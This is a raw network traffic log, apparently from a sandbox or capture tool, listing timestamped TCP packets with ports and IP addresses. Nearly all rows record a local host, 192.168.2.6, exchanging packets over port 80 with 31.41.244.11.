Dec 20, 2024 17:43:39.524517059 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:39.595411062 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.595490932 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.595500946 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.595526934 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.596307039 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.596352100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.596424103 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.596462011 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.599515915 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.599570990 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.599582911 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.599626064 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.602711916 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.602755070 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.602844000 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.602883101 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.605935097 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.605992079 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.606441021 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.606482029 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.609102011 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.609164000 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.609663010 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.609736919 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.612262964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.612339020 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.613289118 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.615322113 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.615483046 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.616492033 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.618323088 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.618433952 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.618478060 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.618509054 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.621253014 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.621340036 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.621380091 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.621553898 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.624178886 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.624466896 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.624835014 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.627099037 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.627155066 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.627255917 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.629893064 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.629961014 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.629998922 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.631210089 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.632658005 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.632927895 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.632985115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.635468006 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.635560036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.635646105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.638295889 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.638374090 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.638412952 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.638458014 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.641092062 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.641576052 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.642124891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.642222881 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.643883944 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.644134998 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.644185066 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.644229889 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.646720886 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.647449970 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.647464037 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.647506952 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.649513960 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.649578094 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.650744915 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.650821924 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.652317047 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.652383089 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.652462959 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.652503967 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.655092955 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.655563116 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.655951977 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.657915115 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.658337116 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.658395052 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.660729885 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.660829067 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.660906076 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.663541079 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.663611889 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.663796902 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.665244102 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.666358948 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.666426897 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.666618109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.666830063 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.669163942 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.669312000 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.669436932 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.671951056 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.671983957 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.672009945 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.672036886 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.674767017 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.674911976 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.674938917 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.674968004 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.677568913 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.677728891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.678381920 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.680367947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.680411100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.680491924 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.681199074 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.683182955 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.683269978 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.686000109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.686074018 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.686094046 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.686134100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.688848972 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.689018011 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.690944910 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.691613913 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.692056894 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.692114115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.694416046 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.694662094 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.694719076 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.697288036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.697496891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.698934078 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.700048923 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.700372934 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.702811003 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.702836990 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.703063965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.703125954 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.705671072 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.705848932 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.706535101 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.708461046 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.708842993 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.708941936 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.710822105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.711322069 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.711482048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.711539030 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.714090109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.714164019 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.714164019 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.714204073 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.716871023 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.716917038 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.717014074 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.717060089 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.719700098 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.720048904 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.720175028 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.722537994 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.722603083 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.723053932 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.723412037 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.725332022 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.725354910 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.725378990 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.725413084 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.728110075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.728173971 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.728223085 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.731019974 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.731132984 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.731292009 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.733763933 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.733810902 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.733839035 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.733869076 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.736507893 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.736670971 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.736804962 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.738475084 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.787410975 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.787595034 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.788152933 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.788350105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.788558960 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.788573027 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.788618088 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.790746927 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.790796041 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.791043043 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.791094065 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.793073893 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.793174028 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.793186903 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.793220043 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.795342922 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.795511007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.795587063 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.797558069 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.797763109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.797830105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.799751043 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.799793005 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.799810886 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.799860001 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.801924944 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.801970959 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.802014112 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.804061890 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.804238081 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.804282904 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.806169033 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.806225061 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.806226015 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.806262016 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.808382988 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.808446884 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.808480024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.808573008 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.810317993 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.810408115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.810472012 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.810508013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.812408924 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.812453985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.812614918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.812766075 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.814414024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.814488888 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.814502001 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.814548969 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.816488981 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.816562891 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.816592932 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.816641092 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.818456888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.818499088 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.818521023 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.818545103 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.820395947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.820518970 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.822355986 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.822423935 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.822583914 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.823323965 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.824208975 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.824462891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.824505091 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.826118946 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.826183081 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.826314926 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.826358080 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.828008890 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.828063965 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.828365088 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.829929113 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.829952955 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.830004930 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.830543041 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.831283092 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.831721067 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.832031965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.832077026 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.833539009 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.833570004 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.833606005 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.833640099 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.835407019 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.835500002 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.835546970 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.837183952 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.837233067 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.837971926 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.838982105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.838984013 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.839221954 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.839304924 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.840759993 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.840836048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.840876102 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.842547894 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.842591047 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.842629910 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.842670918 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.844259024 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.844427109 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.845016003 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.845292091 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.845993042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.846173048 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.846249104 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.847206116 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.847723007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.847764969 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.847930908 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.847980976 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.848756075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.848917007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.848961115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.849778891 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.849894047 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.850759029 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.850806952 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.850842953 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.851768970 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.851819992 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.852128029 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.852480888 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.852761030 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.852829933 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.852835894 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.852876902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.854060888 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.854110003 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.854137897 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.854233027 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.855221987 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.855436087 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.855463982 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.855485916 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.855864048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.855901957 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.855906010 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.856528997 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.856714964 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.856736898 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.856771946 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.856785059 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.857712030 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.857753038 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.857888937 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.857932091 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.858669043 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.858846903 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.858899117 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.859687090 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.859726906 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.859879017 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.860723972 CET	80	49745	31.41.244.11	192.168.2.6
